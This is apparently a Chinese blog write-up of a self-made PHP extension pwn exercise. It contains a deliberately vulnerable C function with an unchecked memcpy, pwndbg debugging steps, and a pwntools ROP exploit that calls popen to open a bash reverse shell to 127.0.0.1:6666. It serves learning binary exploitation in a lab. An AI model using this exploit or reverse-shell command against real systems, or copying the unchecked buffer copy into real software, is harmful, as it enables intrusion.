环境搭建

参考链接写的蛮详细了,略去这部分

其中源码的下载我用的是`wget https://www.php.net/distributions/php-7.2.24.tar.gz

测试

写的函数

1
2
3
4
5
6
7
8
9
10
11
12
PHP_FUNCTION(easy_phppwn)
{
char *arg = NULL;
size_t arg_len, len;
char buf[100];
if(zend_parse_parameters(ZEND_NUM_ARGS(), "s", &arg, &arg_len) == FAILURE){
return;
}
memcpy(buf, arg, arg_len);
php_printf("phppwn extension function\n");
return SUCCESS;
}

zend_parse_parameters是zend引擎解析我们使用php调用该函数时传入的字符串,s代表以字符串形式解析,&arg是参数的地址,&n是解析后参数的长度

生成的so文件在IDA中
7aXr24.png

调用函数

1
2
3
4
<?php
$a = "test";
easy_phppwn($a);
?>

7ajPLn.png

漏洞调试

不难发现我们编写的函数中,当arg_len长度大于100时会发生栈溢出
首先尝试触发漏洞造成crash

1
2
3
<?php
easy_phppwn(str_pad("",0x100,"A"))
?>

7avTHI.png

或者用脚本生成php文件

1
2
3
4
5
6
7
8
9
10
11
12
13
from pwn import *

def create_php(buf):
with open("pwn.php", 'w+') as pf:
pf.write('''<?php
easy_phppwn(urldecode("%s"));
?>'''%urlencode(buf))


buf = 'a'*0x80
buf += 'b'*0x10

create_php(buf)

1
2
ayoung@ubuntu:~/pwn/php$ gdb php
pwndbg> run

然后ctrl C
vmmap可以看到php加载了easy_phppwn

1
2
3
4
5
6
pwndbg> vmmap easy_phppwn
LEGEND: STACK | HEAP | CODE | DATA | RWX | RODATA
0x7ffff2aa9000 0x7ffff2aaa000 r-xp 1000 0 /usr/lib/php/20170718/easy_phppwn.so
0x7ffff2aaa000 0x7ffff2caa000 ---p 200000 1000 /usr/lib/php/20170718/easy_phppwn.so
0x7ffff2caa000 0x7ffff2cab000 r--p 1000 1000 /usr/lib/php/20170718/easy_phppwn.so
0x7ffff2cab000 0x7ffff2cac000 rw-p 1000 2000 /usr/lib/php/20170718/easy_phppwn.so

在IDA中可以看到so文件中显示的真正的函数名为zif_easy_phppwn
下断点,并设置参数为php文件

1
2
3
4
pwndbg> b zif_easy_phppwn
Breakpoint 1 at 0x7ffff2aa9cc0: file /home/ayoung/pwn/php/php-7.2.24/ext/easy_phppwn/easy_phppwn.c, line 145.
pwndbg> set args ./pwn.php
pwndbg> run

看到断下来了
7axrRS.png

memcpy处,看到程序将我们输入的字符串赋值到栈上了,且返回地址被覆盖,因此能够布置rop链进行利用
7axfI0.png

7axLZR.png

漏洞利用

对于phppwn题目来说,(听说)基本没法用one_gadgetsystem("/bin/sh")来获取交互式shell。这里使用popenv来开启一个反弹shell到vps上

这里由于比较注重获得shell的部分,就假设已知libc地址,将地址随机化关闭
rop执行popen("/bin/bash -c \"/bin/bash -i >&/dev/tcp/127.0.0.1/6666 0>&1\"", "r")弹shell

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
from pwn import *

def create_php(buf):
with open("pwn.php", 'w+') as pf:
pf.write('''<?php
easy_phppwn(urldecode("%s"));
?>'''%urlencode(buf))

libc = ELF('/lib/x86_64-linux-gnu/libc.so.6')
libc.address = 0x7ffff5e24000

prdi_r = libc.address + 0x00000000000215bf
prsi_r = libc.address + 0x0000000000023eea
prdx_r = libc.address + 0x0000000000001b96

command = '/bin/bash -c "/bin/bash -i >&/dev/tcp/127.0.0.1/6666 0>&1"'
r_addr = 0x7fffffffa450
cmd_addr = 0x7fffffffa460+0x38

buf = 'a'*0x80
buf += 'b'*0x8
buf += p64(prdi_r)+p64(cmd_addr)
buf += p64(prsi_r)+p64(r_addr)
buf += p64(prdx_r)+p64(0)
buf += p64(libc.sym['popen'])
buf += 'r'+'\x00'*7+'\x00'*0x40
buf += command+'\x00'*0x10

create_php(buf)

顺便直接执行貌似没法弹shell,开gdb执行就正常了

7dnOjs.png

参考

https://www.anquanke.com/post/id/204404]